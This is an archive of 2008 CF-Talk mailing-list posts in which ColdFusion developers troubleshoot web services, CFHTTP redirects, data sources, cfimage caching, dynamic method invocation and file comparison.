Thanks for the reply Matt. We have actually already tried that. That code provides us with the same error that trying to call the web service does. ~Brad -Original Message- From: Matt Williams [mailto:[EMAIL PROTECTED] Sent: Friday, June 20, 2008 11:14 AM To: CF-Talk Subject: Re: WSDL2Java DuplicateFileException error I can't remember the error I was getting, but I do remember having some web service weirdness and ended up running this to fix it: cfset application.ISIwsdl = createObject(java, coldfusion.server.ServiceFactory).XmlRpcService.refreshWebService(wsdl ) / I'm not sure exactly what it does and can't remember where i got it, but it may be worth a try. I'm also not sure if I was running it before or after the web service creation. Just a shot in the dark. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307842 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: WSDL2Java DuplicateFileException error SOlVED
Well, we figured it out. Turns out it was because we had a component display name that was the same as the file name. I'm not sure exactly what versions this affects, but I know this: Windows CF 7.0.2 Enterprise: worked Linux CF 7.0.2 Standard: didn't work We figured it out from the comment at the bottom of this livedocs page: http://livedocs.adobe.com/coldfusion/7/htmldocs/0231.htm ~Brad ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307857 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
determine host name on CFHTTP redirect
Ok, this goes hand in hand with the CFHTTP bug I reported a few weeks ago. http://www.houseoffusion.com/groups/cf-talk/thread.cfm/threadid:56626 I can't figure out how to find the final location returned by the cfhttp tag when it follows a redirect. In other words, cfhttp url=http://www.foo.com; May very well return you the HTML for http://www.bar.com http://www.bar.com/ if foo.com serves up a 301 redirect with a location header pointing to bar.com. However, how can I tell that? The cfhttp struct that is returned doesn't appear to let on that it redirected me. All it returns is the final http status code of the LAST server queried. The only work-around I can think of is to tell cfhttp not to follow redirects, and follow them manually by myself, and then keep track of everything. I think there should be a hostname and or finalurl key that comes back in the cfhttp struct which tells you what you actually got. Otherwise I feel kind of like I'm buying a pig in a poke. Suggestions? Work-arounds? Enhancement Request? ~Brad ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307861 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Coldfusion 8 install question
You need to add the data sources into each instance if you plan on actually using them. Unless you have a site using the default instance, you shouldn't need any data sources set up there. I may be wrong, but I seemed to remember if you added data sources to your base instance BEFORE creating the other instances, the data sources will copy over at the time they are created. If you are looking for a magical way to have the data sources automatically add to all instances at once, try Railo. :) -Original Message- From: John P [mailto:[EMAIL PROTECTED] Sent: Friday, June 20, 2008 5:39 PM To: CF-Talk Subject: Coldfusion 8 install question Our server admin has set up CF8 with 4 instances. When adding data sources I have to add them to the root cfide/administrator rather than within the instance example: http:mysite.com/:portNumber/cfide/administrator. Seems like the install might be configured incorrectly, does anyone have any experience with setting up multiple instance data sources? Do they just go in the root cfide? Thanks, John ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307873 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: very basic query error???
You aren't by chance storing a comma-delimited list in a single column a database are you? :) ~Brad -Original Message- From: Phillip Vector [mailto:[EMAIL PROTECTED] Sent: Friday, June 20, 2008 5:41 PM To: CF-Talk Subject: Re: very basic query error??? I don't think you can have them.. Perhaps you can escape them? /,? On Fri, Jun 20, 2008 at 3:36 PM, Richard White [EMAIL PROTECTED] wrote: hi, i need the commas in the like clause though, how can i get these in there? thanks ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307875 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: very basic query error???
No, there shouldn't he any problems storing a comma delimited list-- it's just bad normalization since a list isn't an atomic value. If you are searching for 1 make sure you account for the following lists: 1,2,3 3,2,1 2,1,3 %,1,% is only work for one of those. ~Brad would a comma delimited list in a coldfusion query object cause this error? and if so how can i get around it ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307900 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: CF8, cfimage writetobrowser action - backgrounds?
There was just a thread on this last week. (http://www.houseoffusion.com/groups/cf-talk/thread.cfm/threadid:56712) According to Jochem, ColdFusion DOES cache the file locally on the web server in the /WEB-INF/cfusion/tmpCache/ directory. What this means, is your image is written to the local file system of your ColdFusion server regardless of whether you do it, or if you use the write-to-browser function. The main benefit you would have of writing it yourself is that you could choose where to put it-- ie, a central network location which is mapped as a virtual directory on your web server so load balancing will work without sticky sessions. Of course, the upside to using the writetobrowser is that ColdFusion cleans up for you, and you don't have to worry about clearing out the old files yourself. Heck, why don't you do the following and get the best of a couple worlds. You can let ColdFusion write and clean up the file, but you can use it however you want: cfimage action=read source=D:\path\to\your\image\my_image.gif name=my_image cfsavecontent variable=my_image_html cfimage action=writeToBrowser source=#my_image# /cfsavecontent cfset image_path = rereplacenocase(my_image_html,(img )(src=)([^]*)(.*$),\3,one) table background=cfoutput#image_path#/cfoutput trtdMy Tablebr /br /br /br //td/tr /table ~Brad -Original Message- From: Scott Weikert [mailto:[EMAIL PROTECTED] Sent: Thursday, June 19, 2008 9:38 AM To: CF-Talk Subject: Re: CF8, cfimage writetobrowser action - backgrounds? Well thinking about it MORE, I really *do* need to write the images right out to the browser. The sheer number of combinations of the data preclude pre-writing out the images to the file system - it would be a huge number of files. But I figured out my background issue. I'm just using a pair of divs, overlaid using z-index. One div, I toss the cfimage tag into - the other div (with a higher z-index), I do my other info overlay. Works like a champ. :) ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307721 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: CF8, cfimage writetobrowser action - backgrounds?
-Original Message- From: Raymond Camden [mailto:[EMAIL PROTECTED] If you ... reload this a few times, you will see a new file is created everytime. I stand by my original recommendation - in _general_, it probably makes sense to manipulate an image only one time and save the result. Very true indeed. I guess one would have to ask themselves if they were going to use the image once or multiple times. My experiences have often been that the image is only used once. Let's entertain the idea that I was going to create an image once and then re-use it though. The OP appeared to wish to create a graph of sorts by plotting points to a grid with some image functions and producing an image to the user from it. The first issue is the source of the data. If he is pulling it from a database, then he has no assurance from one request to the next that the data has not changed, and therefore a new graph would need to be generated. This is unless, of course, he is caching the query for a certain amount of time. Now, his image writing code needs to decide whether it is using a fresh query or not to determined whether or not it can use the image it last created, or if a fresh one needs to exist. The second issue is remembering where you put the image and what you called it. Let's say he creates a folder called /images to place these in. Chances are, multiple users are using his application so now he needs to ensure that the file names he writes are unique somehow. So now, we have images created by him, but with random numbers appended to them. If he wants to reuse that image the next page load, how will he remember what he called it? Cache the name in session? Ok, that works until the job he creates to clean out the directory once a day runs and the image no longer exists between page loads. Now he's got himself having to check for the existence of the image each time before generating it to decide if it already exists, and if it is even a recent representation of the data he is caching. I suppose perhaps Scott could chime in and tell us if he truly wants one-time-use, throw-away images, or if he is hoping to save them and reuse them for multiple page requests later or even archive them for later retrieval. ~Brad ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307738 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: CF8, cfimage writetobrowser action - backgrounds?
Wow, that's quite a set-up you have. :P It sounds like it would definitely make sense to only generate the needed images when requested and always generate a new version based on the latest data. Either way, it sounds like you are well equipped to deal with the images a number of different ways. I'll let you get back to your gaming... What is the URL for your companion site? ~Brad -Original Message- From: Scott Weikert [mailto:[EMAIL PROTECTED] Sent: Thursday, June 19, 2008 2:19 PM To: CF-Talk Subject: Re: CF8, cfimage writetobrowser action - backgrounds? Brad Wood wrote: I suppose perhaps Scott could chime in and tell us if he truly wants one-time-use, throw-away images, or if he is hoping to save them and reuse them for multiple page requests later or even archive them for later retrieval. I guess that's my cue. :D ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307754 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: Pyschich Serch
Here's an example: http://tutorial364.easycfm.com/ -Original Message- From: Don R Seibert [mailto:[EMAIL PROTECTED] Sent: Thursday, June 19, 2008 2:43 PM To: CF-Talk Subject: Pyschich Serch Hello All, I have been to a number of websites that have search boxes that when you start to type into it, it starts to recognise what you are looking and makes suggestion. How would you do this in ColdFusion. Is it a built in function or is there a list that gets pre-populated. I have a database that has movie titles and that would be great for someone looking for a particular movie. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307759 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
How can I restate this without using EVALUATE?
I know using evaluate is a no-no, but I'm stumped on how to restate this line of code: cfset methodResults = evaluate(theObject.#url.methodCall#(#args#)) Any help would be appreciated. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307783 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: How can I restate this without using EVALUATE?
Thanks Matt João. I appreciate your help. cfinvoke component=#theObject# method=#url.methodCall# argumentCollection=#args# returnvariable=methodResults/ -- João Fernandes http://www.onflexwithcf.org http://www.riapt.org Portugal Adobe User Group (http://aug.riapt.org) ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307801 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: Character by Character File Compare
I would look into a program called Araxis Merge. :) If you're talking about doing so programmatically, that's going to be a good challenge. What kind of differences? Insertions and deletions? Re-arrangements. For what it's worth, here is a link to some code I messed with a while back for comparing two strings and highlighting their differences. It is fairly good as long as you are dealing with MOSTLY similar strings with insertions and deletions no longer than a couple sentences. http://www.bradwood.com/string_compare/ ~Brad -Original Message- From: Colman, Richard [mailto:[EMAIL PROTECTED] Sent: Thursday, June 19, 2008 5:29 PM To: CF-Talk Subject: Character by Character File Compare Looking for functions/algorythm that would easily enable me to compare three files on a character-by-character basis to detect differences. Any suggestions appreciated. Rick. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307803 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Character by Character File Compare
If you simply need a yes or no answer to the are they identical question, you may try hashing them and comparing the hash. Though, if your code was to go through the trouble of reading in the file I don't know why you couldn't simply compare the two strings outright. ~Brad -Original Message- From: Colman, Richard [mailto:[EMAIL PROTECTED] Sent: Thursday, June 19, 2008 5:48 PM To: CF-Talk Subject: RE: Character by Character File Compare Need to do it programattically since I have about 600 sets of files to compare. Luckily, the files should be identical ... I am looking for the rare exceptions where they are not identical, and then the differences should be small, and I want to throw an error flag. Thank you for the code sample. Rick. -Original Message- From: Brad Wood [mailto:[EMAIL PROTECTED] Sent: Thursday, June 19, 2008 3:39 PM To: CF-Talk Subject: RE: Character by Character File Compare I would look into a program called Araxis Merge. :) If you're talking about doing so programmatically, that's going to be a good challenge. What kind of differences? Insertions and deletions? Re-arrangements. For what it's worth, here is a link to some code I messed with a while back for comparing two strings and highlighting their differences. It is fairly good as long as you are dealing with MOSTLY similar strings with insertions and deletions no longer than a couple sentences. http://www.bradwood.com/string_compare/ ~Brad -Original Message- From: Colman, Richard [mailto:[EMAIL PROTECTED] Sent: Thursday, June 19, 2008 5:29 PM To: CF-Talk Subject: Character by Character File Compare Looking for functions/algorythm that would easily enable me to compare three files on a character-by-character basis to detect differences. Any suggestions appreciated. Rick. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307807 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: Character by Character File Compare
Well, that does make things more interesting. Really you have 5 possibilities: 1) All three files are identical 2) Files 1 and 2 are identical, but file 3 differs 3) Files 2 and 3 are identical, but file 1 differs 4) Files 1 and 3 are identical, but file 2 differs 5) All three files are different You may just need to test each of those scenarios. Comparing a hash of each file would surely reduce the amount of text CF had to throw around especially if you are performing several tests with the same set of files. Even the Araxis Merge program (very, very, very handy) when comparing 3 files side by side, really only compares each file to the one next to it. The difficulty of this will probably rest on how much feedback you need to give your users. A simple yes no is easy. A line-by-line break-down of the changes is not so easy. I will warn you, my code sample will bog down a bit on very large files, but CF8 has phenomenal improvements in string manipulation and testing over previous versions of CF. ~Brad -Original Message- From: Colman, Richard [mailto:[EMAIL PROTECTED] Sent: Thursday, June 19, 2008 5:49 PM To: CF-Talk Subject: RE: Character by Character File Compare HOWEVER, there is one wrinkle, I actually need to compare three files . ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307808 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
